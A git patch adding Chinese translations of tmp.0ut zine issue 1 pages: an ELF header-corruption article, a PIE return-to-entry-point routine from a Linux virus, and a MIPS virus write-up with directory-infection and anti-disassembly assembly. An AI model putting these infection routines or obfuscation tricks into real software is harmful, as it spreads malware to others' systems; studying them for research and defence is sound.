From cc9828f5f1f9b26d0e5679e34c6038952df36bc3 Mon Sep 17 00:00:00 2001 From: Calmc1 <103617832+sjwszt@users.noreply.github.com> Date: Tue, 11 Mar 2025 20:29:10 +1100 Subject: [PATCH 1/9] Create index.html zh translate --- 1/zh/index.html | 58 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 1/zh/index.html diff --git a/1/zh/index.html b/1/zh/index.html new file mode 100644 index 0000000..2489751 --- /dev/null +++ b/1/zh/index.html @@ -0,0 +1,58 @@ + +
++ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ +┌───────────────────────────────────────────────────────────│ █ │ +│ tmp.0ut 第一期 - 2021年4月 │ █ │ +│ 目录 └───────────────────█ ──┘ +│ │ +│ 1.0 简介 ....................................................... tmp.0ut 团队 │ +│ 1.1 死亡字节 .................................................... xcellerator │ +│ 1.2 在x64汇编中实现PT_NOTE感染方法 ......................................... sblip │ +│ 1.3 使用Rust实现PT_NOTE到PT_LOAD的ELF注入器 ............................... d3npa │ +│ 1.4 使用Python实现PT_NOTE清除器 ...................................... manizzle │ +│ 1.5 用约30行代码对Radare2进行0day漏洞模糊测试 ................ Architect, s01den │ +│ 1.6 多态假反汇编技术 .................................................. s01den │ +│ 1.7 Lin64.Eng3ls:Linux病毒中的一些反逆向工程技术 ................ s01den, sblip │ +│ 1.8 Linux.Midrashim.asm ................................................... TMZ │ +│ 1.9 内存中的LKM加载 ............................................... netspooky │ +│ 1.10 Linux SHELF加载 ........................................ ulexec, Anonymous_ │ +│ 1.11 在启用PIE的情况下返回原始入口点 ................................... s01den │ +│ 1.12 用MIPS汇编编写病毒的乐趣(无利可图) ............................... s01den │ +│ 1.13 访谈:herm1t ............................................. tmp.0ut 团队 │ +│ 1.14 360秒内消失 - Linux/Retaliation ................................... qkumba │ +│ 1.15 Linux.Nasty.asm ....................................................... TMZ │ +│ 1.16 Linux.Precinct3.asm ............................................. netspooky │ +│ 1.17 地下世界 ......................................................... s01den │ +│ │ +└──────────────────────────────────────────────────────────────────────────────────┘ + +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +介绍: │ █ │ +~ tmp.0ut 团队: └───────────────────█ ──┘ + +我等这一刻已经等了很久了。 + +说实话,我认为很多ELF爱好者都没有想到这一天真的会到来。传统上,我们这些ELF研究者 +一直都是局外人。即使在VLAD和90年代末的病毒场景之后,在silvio发表第一篇论文之后, +在unix病毒邮件列表、phrack文章和elfmaster之后,我们的人数和聚集地依然很少且分散。 + +六个月前,我认识了s01den,我们决定一起进行一些ELF项目。我邀请了我的老朋友TMZ。 +一个月后,我们可能有5个人。然后变成了10个。15个。在三个月内,Discord聊天室里已经 +有28个人,所有人都在讨论ELF和项目,并准备发布一份杂志 - 这一切发生得太快,我甚至 +很难描述它是如何形成的。 + +我们开始交谈、召开会议和开展项目 - 并且都同意记录我们的旅程将是一个绝妙的主意; +创建一系列可以用来学习的出版物,作为参考指南,也许最终可以将它们组合成一本关于 +ELF修改技术和技术的流畅卷册,供下一代ELF爱好者使用。我可以相当确定地说,这很可能 +是有史以来最大的一群黑客同时聚在一起,且都在积极从事ELF项目。 + +带有代码示例的感染算法。具有全新内存加载ELF二进制文件方法的自定义链接器脚本。 +二进制高尔夫。从远程源加载内核模块。用Python编写的消毒程序。与传奇人物的访谈。 +对迄今为止所见过的最复杂的Linux病毒之一进行39页的重新逆向工程和分析。我写了很多 +页想要放入这个等待了20年才写的介绍中的内容,但现在当真正要写的时候,我觉得这些 +内容中的大部分应该被省略,或者放在自己的文章中,因为我们令人惊叹的团队和内容本身 +就能说明一切。 + +现在,不再多说,tmp.out、Thugcrowd和Symbolcrash制作组自豪地呈现Mental 'elf +support group(精神'ELF'支持小组)- 由卫生shellcode协会和二进制匪徒后门工厂流浪汉 +赞助 + +~ sblip +
+
+ _ .-') _ ('-. ('-. _ .-') _ .-. .-') .-') _ ('-. .-')
+( ( OO) ) _( OO) ( OO ).-.( ( OO) ) \ ( OO ) ( OO) ) _( OO) ( OO ).
+ \ .'_ (,------./ . --. / \ .'_ ;-----.\ ,--. ,--./ '._(,------.(_)---\_)
+ ,`'--..._) | .---'| \-. \ ,`'--..._) | .-. | \ `.' / |'--...__)| .---'/ _ |
+ | | \ ' | | .-'-' | | | | \ ' | '-' /_).-') / '--. .--'| | \ :` `.
+ | | ' |(| '--.\| |_.' | | | ' | | .-. `.(OO \ / | | (| '--. '..`''.)
+ | | / : | .--' | .-. | | | / : | | \ || / /\_ | | | .--' .-._) \
+ | '--' / | `---.| | | | | '--' / | '--' /`-./ /.__) | | | `---.\ /
+ `-------' `------'`--' `--' `-------' `------' `--' `--' `------' `-----'
+ ~ xcellerator
+
+你好,ELF爱好者们!在这篇文章中,我想介绍一个我一直在开发的小型库,名为LibGolf。它最初只是
+为了更好地理解ELF和程序头而创建的工具,但后来发展成了一个相当实用的项目。它可以非常容易地
+生成一个由ELF头、单个程序头和单个可加载段组成的二进制文件。默认情况下,头部中的所有字段都
+设置为合理的值,但有一个简单的方法可以修改这些默认值 - 这就是本文要讨论的内容!我将演示如何
+使用LibGolf来精确枚举哪些字节是必需的,哪些字节会被Linux加载器忽略。幸运的是,事实证明,
+加载器是标准Linux工具包中最不挑剔的解析器之一。在我们完成之前,我们将看到几个流行的静态分析
+工具在我们损坏的ELF面前崩溃,而加载器继续愉快地加载并跳转到我们选择的字节。
+
++---------------------------+
+|--[ 介绍LibGolf ]--|
++---------------------------+
+
+不久前,我一直在用NASM手写ELF文件。虽然这很有趣(当然也有它的好处),但我意识到我错过了
+C结构体所能提供的所有乐趣。特别是,我相信许多读者都知道,<linux/elf.h>中充满了像
+`Elf64_Ehdr`和`Elf32_Phdr`这样可以声明的有趣东西。
+
+不想让这些有用的头文件浪费掉,我决定把它们利用起来。经过这些努力,产生了libgolf.h,这是一个
+可以轻松将shellcode注入到可执行文件中的库。我知道你在想什么 - "这听起来就像一个糟糕的链接器!",
+你可能是对的。但是,这里的好处是你可以在二进制文件构建之前轻松修改头部。
+
+让我们看看它是如何工作的。如果你想在家跟着做,你可以在[0]找到所有这些的源代码。你可以在
+'examples/01_dead_bytes'下找到本文中的代码。基本设置需要两个文件:一个C源文件和一个
+shellcode.h。说到shellcode,我喜欢使用老朋友'b0 3c 48 31 ff 0f 05',它反汇编为:
+
+ mov al, 0x3c @ b0 3c
+ xor rdi, rdi @ 48 31 ff
+ syscall @ 0f 05
+
+(是的 - 把这个称为"shellcode"有点牵强!)
+
+本质上,它只是调用exit(0)。这很好,因为我们可以通过shell扩展$?轻松检查这些字节是否成功执行。
+
+将这个或其他shellcode(但要确保它是PIC - 还不支持可重定位符号!)放入shellcode.h中的buf[]
+缓冲区,然后回到C文件。如果你只是想得到一个执行你的shellcode的二进制文件,那么你只需要这些:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64,64);
+
+ GEN_ELF();
+ return 0;
+ }
+
+编译并运行生成的可执行文件会给你一个.bin文件 - 这就是你闪亮的新ELF!很简单,对吧?简单往往
+伴随着枯燥,这里也是如此,所以让我们做些更有趣的事情!
+
+在继续之前,值得解释一下这两个宏在幕后做了什么。首先,INIT_ELF()接受两个参数,ISA和架构。
+目前,LibGolf支持X86_64、ARM32和AARCH64作为有效的ISA,以及32或64作为架构。它首先设置一些
+内部簿记结构,并决定是使用Elf32_*还是Elf64_*对象作为头部。它还自动分配指向ELF和程序头的
+指针,分别称为ehdr和phdr。我们将使用这些来轻松修改字段。除此之外,它还复制shellcode缓冲区,
+并在计算合理的入口点之前填充ELF和程序头。接下来是GEN_ELF(),它只是将一些漂亮的统计信息
+打印到stdout,然后将适当的结构写入.bin文件。.bin的名称由argv[0]决定。
+
+所以,在我们使用INIT_ELF()宏之后,我们可以解引用ehdr和phdr。假设我们想修改ELF头的e_version
+字段。我们只需要添加一行:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64);
+
+ // 将e_version设置为12345678
+ ehdr->e_version = 0x78563412;
+
+ GEN_ELF();
+ return 0;
+ }
+
+再次快速编译和执行,你就会得到另一个.bin文件。在xxd、hexyl或你喜欢的二进制操作工具中查看
+这个文件,你会看到一个漂亮的'12 34 56 78'从偏移量0x14开始。很容易,不是吗?
+
+为了让事情进展得更快,我喜欢使用以下Makefile:
+
+ .PHONY golf clean
+
+ CC=gcc
+ CFLAGS=-I.
+ PROG=golf
+
+ golf:
+ @$(CC) -o $(PROG) $(PROG).c
+ @./$(PROG)
+ @chmod +x $(PROG).bin
+
+ @rm $(PROG) $(PROG).bin
+
+(这是你在仓库[0]中找到的Makefile)
+
++-----------------------------------+
+|--[ 第一个障碍 ]--|
++-----------------------------------+
+
+众所周知,文件解析器是可怕的东西。虽然规范通常有诚恳的目标,但它们很少被那些应该更了解的人
+所尊重。这些亵渎者中最主要的就是Linux ELF加载器本身。LibGolf使我们很容易调查这些违反elf.h
+的行为的程度。
+
+一个好的开始是从头开始,也就是ELF头。在任何ELF文件的开始,当然是熟悉的0x7f后跟ELF,对它的
+朋友来说被称为EI_MAG0到EI_MAG3。不出所料,修改这四个字节中的任何一个都会导致Linux加载器
+拒绝该文件。谢天谢地!
+
+那么字节0x5呢?我们可靠的规范告诉我们,这是EI_CLASS字节,表示目标架构。可接受的值是0x01和
+0x02,分别用于32位和64位。我再说一遍:可接受的值是0x01和0x02。如果我们将其设置为0x58
+(或对ASCII爱好者来说是"X")会怎样?我们可以通过添加以下内容来实现:
+
+ (ehdr->e_ident)[EI_CLASS] = 0x58;
+
+到我们的生成C文件中。(为什么是0x58?它在xxd/hexyl输出中显示得很清楚!)
+
+一旦我们得到了.bin文件可以玩,在尝试执行它之前,让我们试试其他几个熟悉的ELF解析工具,看看
+还有哪些罪魁祸首。列表中的第一个是gdb。去试试吧,我等着。看看会发生什么?
+
+ "not in executable format: file format not recognized"
+
+同样,objdump也会给你类似的答案。看来这些解析器在正确地完成它们的工作。现在,让我们尝试
+正常运行二进制文件。
+
+ 它完美运行。
+
+如果你使用我的示例shellcode,那么查询$?会遗憾地告诉你二进制文件成功退出。当设置EI_DATA和
+EI_VERSION为非法值时,也会发生同样的罪行。
+
++---------------------------------------+
+|--[ 将损坏程度提升到11 ]--|
++---------------------------------------+
+
+那么,我们能走多远?Linux加载器会忽略多少ELF和程序头?我们已经讨论了EI_CLASS、EI_DATA和
+EI_VERSION,但事实证明EI_OSABI也可以安全地被忽略。这带我们到了偏移量0x8。根据规范,接下来
+是EI_ABIVERSION和EI_PAD,它们一起带我们到字节0xf。看来没人关心它们,所以我们可以毫无顾虑
+地将它们全部设置为0x58。
+
+继续前进,我们遇到了一个似乎不能被破坏的字段:e_type。可以理解,如果我们不告诉Linux加载器
+我们提供的是什么类型的ELF文件,它就不会喜欢(很高兴知道它确实有*一些*标准!- 双关语)。
+我们需要这两个字节保持为0x0002(或对elf.h信徒来说是ET_EXEC)。接下来是另一个挑剔的字节,
+在熟悉的0x12偏移处:e_machine,它指定目标ISA。就我们而言,通过将X86_64指定为INIT_ELF()的
+第一个参数,LibGolf已经为我们将这个字节填充为0x3e。
+
+突然,出现了一个野生的e_version!我们面对另一个异端,它理应总是字节0x00000001。然而,在
+实践中,似乎没有人关心,所以让我们用0x58585858填充它。
+
+在这串异教徒之后,我们有几个似乎不能被滥用的重要字段:e_entry和e_phoff。我想我不需要详细
+解释e_entry;它是二进制文件的入口点,一旦可加载段被加载到内存中,执行就会在这里开始。虽然
+人们可能期望加载器能够在不知道程序头偏移量的情况下管理,但似乎它不够聪明,需要被喂食。
+最好让这两个保持原样。
+
+LibGolf还不支持节头(考虑到它专注于生产*小型*二进制文件,将来可能也不太可能支持它们)。
+这意味着,面对与它们相关的任何头部,我们可以随心所欲地修改。这包括e_shoff、e_shentsize、
+eh_shnum甚至e_shstrndx。如果我们没有任何节头,我们就不用对破坏它们负责!
+
+剩下的对Linux加载器似乎有一些重要性的字段是e_ehsize、e_phentsize和e_phnum。这也不足为奇,
+因为它们与将唯一的可加载段加载到内存中并移交控制权有关。如果你需要复习,e_ehsize是ELF头的
+大小(对于32位和64位分别是0x34或0x40),eh_phentsize是即将到来的程序头的大小(同样,对于
+32位和64位架构硬编码为0x20或0x38)。如果加载器对EI_CLASS更挑剔一点,它就不需要这两个字段。
+最后,e_phnum只是程序头中的条目数 - 对我们来说总是0x1。毫无疑问,这用于内存加载例程中的
+某个循环,但我还没有进一步调查。
+
+ELF头中还有一个我没有提到的字段,就是e_flags。原因很简单,因为它是架构相关的。对于x86_64,
+它完全无关紧要,因为它是未定义的(尽管对某些ARM平台来说它*确实*很重要!看看[0]中的arm32
+示例)。
+
+这就到了ELF头的结尾。对于那些没有计数的人来说,超过50%的ELF头被加载器忽略。但是程序头
+呢?事实证明,程序头的可操作空间要少得多,但不是因为人们可能期望的原因。实际上,程序头的
+*任何*损坏都不会真正影响Linux加载器。我们可以用我们信任的0x58填充整个东西,加载器一点也
+不会在意。但要小心,大胆的冒险者,摆弄错误的字节,你就会被扔进段错误的地牢!
+
+那么,在程序头中有什么可以被强制修改的吗?事实证明,有两个字段由于自身的原因,现在已经
+不再相关了:p_paddr和p_align。前者在虚拟内存之前的辉煌时代很重要,那时4GB RAM只是孩子的
+白日梦,因此告诉加载器在物理内存中的哪里加载段是很重要的。
+
+内存对齐是一个有趣的问题。据说,p_vaddr应该等于p_offset模除p_align。"正常的"ELF文件
+(至少是用GCC编译的)似乎只是将p_offset设置为等于p_vaddr然后继续。这也是LibGolf默认做的,
+这使得p_align完全多余!
+
+总的来说,不如ELF头那么有趣,但仍然有一些小收获。现在二进制生成的C文件看起来是这样的:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64,64);
+
+ /* 让我们破坏一些字段! */
+ (ehdr->e_ident)[EI_CLASS] = 0x58;
+ (ehdr->e_ident)[EI_DATA] = 0x58;
+ (ehdr->e_ident)[EI_VERSION] = 0x58;
+ (ehdr->e_ident)[EI_OSABI] = 0x58;
+ (ehdr->e_ident)[EI_ABIVERSION] = 0x58;
+ memset(&((ehdr->e_ident)[EI_PAD]), 0x58, 7);
+ ehdr->e_version = 0x58585858;
+ ehdr->e_shoff = 0x58585858;
+ ehdr->e_flags = 0x58585858;
+ ehdr->e_shentsize = 0x5858;
+ ehdr->e_shnum = 0x5858;
+ ehdr->e_shstrndx = 0x5858;
+
+ /* 程序头也可以被破坏 */
+ phdr->p_paddr = 0x5858585858585858;
+ phdr->p_align = 0x5858585858585858;
+
+ GEN_ELF();
+ return 0;
+ }
+
+如果你编译并运行这个程序,你会得到以下二进制文件:
+
+ 00000000: 7f45 4c46 5858 5858 5858 5858 5858 5858 .ELFXXXXXXXXXXXX
+ 00000010: 0200 3e00 5858 5858 7800 4000 0000 0000 ..>.XXXXx.@.....
+ 00000020: 4000 0000 0000 0000 5858 5858 5858 5858 @.......XXXXXXXX
+ 00000030: 5858 5858 4000 3800 0100 5858 5858 5858 XXXX@.8...XXXXXX
+ 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
+ 00000050: 0000 4000 0000 0000 5858 5858 5858 5858 ..@.....XXXXXXXX
+ 00000060: 0700 0000 0000 0000 0700 0000 0000 0000 ................
+ 00000070: 5858 5858 5858 5858 b03c 4831 ff0f 05 XXXXXXXX.+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +在启用PIE的情况下返回原始入口点 │ █ │ +~ S01den └───────────────────█ ──┘ + +由tmp.out团队的S01den倾情编写! + +--- 1) 引言 --- + +当我刚开始接触病毒世界时,我最初遇到的困难之一就是如何正确地返回宿主程序的原始入口点。 +这是每个称职的病毒都必须具备的核心功能,在过去实现起来非常简单(mov ebx, OEP ; jmp ebx)。 + +你可能会问:"为什么现在不那么容易了?" + +答案只有三个字母:PIE,即位置无关可执行文件(Position Independent Executable)。在 +这种二进制文件中,指令的地址在每次执行时都会被随机化(尽管有对齐要求)。因此OEP +不再是一个常量,我们现在必须先计算它才能跳转过去。 + +让我们来看看该如何做! + +--- 2) 在启用PIE的情况下返回OEP --- + +我将在这里描述我在Lin64.Kropotkine[0]中用于计算Ret2OEP的方法。 +我当时卡了几天,直到看到Elfmaster的一篇论文[1]让我豁然开朗。 + +以下是代码: + +-------------------------------- CUT-HERE ------------------------------------------ +mov rcx, r15 ;r15保存了我们的病毒代码存储的地址(在栈中) +add rcx, VXSIZE ; rcx现在包含病毒代码之后的第一个地址 +mov dword [rcx], 0xffffeee8 ; 相对调用get_eip(在13字节之前) +mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) +mov byte [rcx+8], 0x00000005 +mov word [rcx+11], 0x0002d48 +mov qword [rcx+13], r9 ; sub rax, entry0 +mov word [rcx+17], 0x0000548 +mov qword [rcx+19], r12 ; add rax, sym._start +mov dword [rcx+23], 0xfff4894c ; mov rsp, r14 +mov word [rcx+27], 0x00e0 ; jmp rax +------------------------------------------------------------------------------------ + +如你所见,我们逐字节将返回OEP的代码直接写入内存(在病毒代码之后,这样当之前的病毒代码 +执行完成后我们就可以跳转到这个例程)。这些字节将被写入宿主程序以进行感染。我们想要 +得到这样的结果: + +(这段代码来自我用Lin64.Kropotkine感染的/bin/date) + +-------------------------------- CUT-HERE ------------------------------------------ +; 病毒代码的结尾: +get_rip: +0x0c01ada3 488b0424 mov rax, qword [rsp] +0x0c01ada7 c3 ret +getdot: +0x0c01ada8 e842fbffff call 0xc01a8ef ; 调用main +0x0c01adad 2e0000 add byte cs:[rax], al ; '.' +; <---- 病毒代码结束,我们想在这里注入我们的ret2OEP代码! +; 我们想要在这里得到的代码: +0x0c01adb0 e8eeffffff call 0xc01ada3 ; 调用get_rip <-- +0x0c01adb5 482d0d050000 sub rax, 0x50d ; sub rax, (VXSIZE+5) +0x0c01adbb 482da8a8010c sub rax, entry0 +0x0c01adc1 4805b0380000 add rax, 0x38b0 ; add rax, sym._start +0x0c01adc7 4c89f4 mov rsp, r14 ; 恢复原始栈 +0x0c01adca ffe0 jmp rax +------------------------------------------------------------------------------------ + +基本上,计算OEP的思路并不复杂。 +假设宿主程序原始代码的第一条指令的偏移量(即非随机化的OEP)是0x38b0,并且当我们调用 +get_rip时(上面代码中的0x0c01adb0)RIP当前是0x55556156edb5(一个随机化的地址)。 +我们需要知道OEP的随机化地址才能跳转到它。 + +好的,调用get_rip将RIP放入RAX,我们首先需要从RAX(0x55556156edb5)中减去病毒的大小 +(加上5,即call get_rip指令的大小)才能得到病毒代码开始的随机化地址: + +---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; 病毒代码第一条指令的地址 + +现在,我们用这个值减去新的入口点,即病毒代码开始的非随机化地址(在病毒执行之前计算得到, +在我们的例子中是0xc01a8a8)。 + +实际上我们只是简单地做了这个: + +---> 随机化的新入口点 - 非随机化的新入口点 (e_hdr.entry) + +用我们的值计算如下: + +---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000 + +我们进行这个减法是为了提取随机化的"基址"。有了这个值,我们只需要将它加上原始的 +e_hdr.entry(非随机化的OEP): + +---> 0x555555554000 + 0x38b0 = 0x5555555578b0 + +你就得到了一个可以跳转的正确地址! +所以jmp rax将开始执行宿主程序的原始代码! + +--- 结论 --- +总结一下,我们只是做了这样的事: + +---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry + +如你所见,就是简单的数学运算!;) +病毒场景万岁! +哪里有权威,哪里就没有自由。 +一切为了所有人。 +永远向前! + +--- 注释和参考文献 --- +[0] https://github.com/vxunderground/MalwareSourceCode + /blob/main/VXUG/Linux.Kropotkine.asm +[1] 现代ELF感染SCOP二进制文件的技术: + https://bitlackeys.org/papers/pocorgtfo20.pdf + - 特别是名为"Note on resolving Elf_Hdr->e_entry + in PIEexecutables"的部分 + +--- 源代码 --- + +- Linux.Kropotkine.asm +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +用MIPS汇编编写病毒的乐趣(无利可图) │ █ │ +~ S01den └───────────────────█ ──┘ + +由tmp.out团队的S01den倾情编写! +2021年1月 + ++----------- 联系方式 -----------+ +| Twitter: @s01den | +| 邮箱: S01den@protonmail.com | ++--------------------------------+ + +.---\ 引言 /---. + +在这篇短文(?)中,我将向你解释我是如何用纯MIPS汇编编写Lin32.MIPS.Bakunin[0]的,这是我的 +第一个针对Linux/MIPS系统(如路由器、物联网设备或视频游戏主机)的病毒。显然,我没有也不会 +将它传播到野外。你也不要做这种愚蠢的事。 + +我在这里使用了一些有趣的技巧,比如在启用PIE的情况下计算宿主程序的原始入口点,通过几个字节 +破坏对齐来混淆病毒的主要部分,以及更多惊喜! + +在开始之前,让我们总结一下Bakunin的基本特性: +- 使用Silvio Cesare的文本感染方法[1]感染当前目录中的所有ELF文件,无论是否启用PIE + (修改文本段定义以使其能够容纳病毒代码) +- 使用一种简单但强大的反逆向工程技术:假反汇编[2] +- 打印"X_X"(如你所见,这是个非常棒的有效载荷) +- 它是一位伟大的无政府主义哲学家 <-- 不是这个Bakunin... + +现在你已经兴奋起来了,我们可以开始深入研究Lin32.MIPS.Bakunin的源代码了! +警告:大量的MIPS代码。请保护好你的眼睛... + +.---\ 在MIPS汇编中实现假反汇编技术: /---. + \ 编写序言部分 / + +在开始之前,我想简单解释一下什么是假反汇编。 + +这种反RE技术很简单,就是通过硬编码指令的前几个字节(这里是前3个字节)来破坏对齐。 +这样,反汇编器会将这些"幽灵"字节解释为指令的开始,并用下一条指令的前几个字节来 +完成它。这将破坏所有的对齐,使许多指令看起来毫无意义。 + +例如(不是来自我的病毒): +-------------------- cut-here -------------------- + + jmp hey+2 # 跳过幽灵字节 +hey: hey: + xor %rbx, %rbx .ascii "\x48\x31" + jmp yo ====> xor %rbx, %rbx + jmp yo +--------------------------------------------------- + +现在,如果我们查看这两段代码的反汇编结果,会看到这样的内容(使用radare2): + +-------------------- cut-here -------------------- +;-- hey: +0x00401002 4831db xor rbx, rbx +0x00401005 eb02 jmp 0x401009 + || + \/ +;-- hey: +0x00401002 48314831 xor qword [rax + 0x31], rcx +0x00401006 dbeb fucomi st(3) +0x00401008 026631 add ah, byte [rsi + 0x31] + --------------------------------------------------- + +这对MIPS架构来说非常强大,因为所有指令都由相同数量的字节(4字节)组成,所以指令的 +地址都对齐为4的倍数(以0x0、0x4、0x8或0xc结尾)。 + +因此我们甚至不需要放置有意义的幽灵字节,可以放置任何我们想要的字节,因为对齐 +无论如何都会被破坏: + +0x004000b3 unaligned +0x004000b4 fc004003 invalid +0x004000b8 a0182523 sb t8, 0x2523(zero) +0x004000bc bdf00003 cache 0x10, 3(t7) +0x004000c0 a0202524 sb zero, 0x2524(at) +0x004000c4 0500ff24 bltz t0, 0x3ffd58 +0x004000c8 02106b00 invalid +0x004000cc 00000c03 sra at, zero, 0x10 +0x004000d0 a0202524 sb zero, 0x2524(at) +0x004000d4 05000024 bltz t0, 0x400168 + ... + +如你所见,就是一堆垃圾 :) + +然而,在MIPS汇编中我们不能跳转到任意位置,我们必须跳转到4的倍数地址,因为对齐的 +要求。 + +这就是为什么我将病毒分为两部分:序言和主体。 + +序言部分包含一个mmap2系统调用,准备一个可执行的内存区域,我们将把主体代码(未对齐的) +复制到这里(通过后面的.get_vx例程),然后才能跳转进去。换句话说,我们恢复对齐以便 +能够执行这些指令。 + +--= 调用mmap2系统调用 =-- + # 我不知道如何传递超过4个参数(寄存器$a0...$a3), + # 所以我写了一个简单的程序使用mmap(),静态链接它 + # 并反汇编它以查看mmap是如何调用的,这就是我得到 + # 以下3行代码的方式 + sw $zero,20($sp) + li $v0,0 + sw $v0,16($sp) + + li $a0, 0 + li $a1, 0x6a8 # 病毒的完整大小 + li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC + li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE + li $v0, 4210 # sys_mmap2 + syscall +------------------------------ + +这相当于: + + mmap2(NULL, 0x6a8, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + +一旦我们分配了内存区域,我们就获取病毒主体的代码(在假反汇编字节之后)并将其复制进去。 + +--= 复制病毒主体 =-- + bgezal $zero, get_pc # 我们通过直接访问指令的地址来获取代码 + add $t1, $t1, 0x6f # 0x6f = 到达主体的字节数, + # 现在$t1包含主体的地址 + move $t2, $v0 # $t2现在包含我们刚刚mmap的地址 + li $t0, 0 # $t0将是我们的计数器 + + .get_vx: + lb $t3, 0($t1) # 我们将当前获取的字节放入$t3 + sb $t3, 0($t2) # 并将这个字节写入$t2指向的区域 + addi $t0, $t0, 1 + addi $t1, $t1, 1 + addi $t2, $t2, 1 + blt $t0, 0x615, .get_vx # 主体中有0x615字节 + + jal $v0 # 跳转到mmap的区域 + beq $zero, $zero, eof # 主体在执行有效载荷后会跳转到这里 + + get_pc: # 将保存的eip(或MIPS中的pc)移入$t1 + move $t1, $ra + jr $ra +--------------------------------- + +注意:我们使用beq或bgezal这样的指令是因为我们必须在病毒中使用相对跳转(否则它们在 +被感染的二进制文件中无法工作),但经典的跳转指令(如j或jal)是绝对的... + +序言的结尾只包含一个sys_exit系统调用和一个填充,为9条指令留出空间(eof例程将在感染 +期间被重写为计算PIE下OEP的代码),以及.ascii "\xeb\x01\xe8",这些幽灵字节破坏了 +主体代码的对齐。 + +.---\ 感染整个目录:编写主体部分 /---. + +现在我们进入主体部分,可以做一些经典的病毒操作了。 + +为了能够感染二进制文件,病毒必须获取当前目录中潜在宿主的列表。 + +我们首先通过sys_getcwd系统调用获取当前目录的名称,然后通过sys_open系统调用打开它。 + +一旦目录被打开,我们使用sys_getdents64系统调用获取一个包含目录中文件名的结构。 + +我们用以下例程简单地解析它: + +--= 解析dirent结构 =-- +li $s0, 0 # s0将是我们的计数器 +parse_dir: + move $s2, $sp # s2将包含文件名的地址 + addi $s2, $s2, 0x13 # d_name + + li $t1, 0 + addi $t1, $sp, 0x12 + lb $t1, 0($t1) # t1现在包含条目的类型(文件或目录) + + bgezal $zero, infect + li $t9, 0 + + # 获取d_reclen(参见dirent64结构的组织...) + addi $t9, $sp, 0x10 + lb $t0, 1($t9) + + # 缓冲区位置 += d_reclen + add $s0, $s0, $t0 + + add $sp, $sp, $t0 + + blt $s0, $s1, parse_dir # 如果计数器 < 条目数:跳转到parse_dir +------------------------------------ + +然后,我们打开每个文件,并以这种方式mmap它们: +mmap2(NULL, len_file, PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0) + +然后检查它们是否能够容纳病毒: + +--= 一些检查 =-- +# $s5包含mmap区域的地址 + +.check_magic: + lw $t0, 0($s5) + li $t1, 0x7f454c46 # 通过检查魔数字节检查文件是否是ELF + bne $t0, $t1, end + +.check_bits: + lb $t0, 4($s5) + bne $t0, 1, end # 这里,我们检查e_ident[EI_CLASS],以知道我们 + # 尝试感染的ELF是32位还是64位(如果是64位,跳转到end) + +.check_arch: + lb $t0, 18($s5) + li $t1, 8 + bne $t0, $t1, end # 检查e_machine,以确保我们只感染MIPS二进制文件 + +.check_infected: + lw $t0, 0x18($s5) + li $t1, 0x1000 + bne $t0, $t1, end # 检查e_entry,如果它不是0x1000,说明文件已经被感染 + +.check_type: + lh $t0, 0x10($s5) + li $t1, 2 + bne $t0, $t1, end # 检查e_type,确保文件是可执行文件 + +现在我们已经确认文件是一个有效的宿主,我们可以开始感染过程。我们使用Silvio Cesare的 +文本感染方法,它包括修改文本段的定义以使其能够容纳病毒代码。 + +我们首先需要找到程序头表中的文本段: + +--= 定位文本段 =-- + lw $t0, 0x1c($s5) # e_phoff + add $t0, $t0, $s5 # $t0 = 程序头表的地址 + + lw $t1, 0x2c($s5) # e_phnum + li $t2, 0 # 计数器 + +.find_text: + lw $t3, 0($t0) # p_type + li $t4, 1 + beq $t3, $t4, .found_text + + addi $t0, $t0, 0x20 # sizeof(Elf32_Phdr) + addi $t2, $t2, 1 + blt $t2, $t1, .find_text + b end + +.found_text: + # 保存一些我们稍后需要的值 + lw $t3, 4($t0) # p_offset + lw $t4, 8($t0) # p_vaddr + lw $t5, 0x10($t0) # 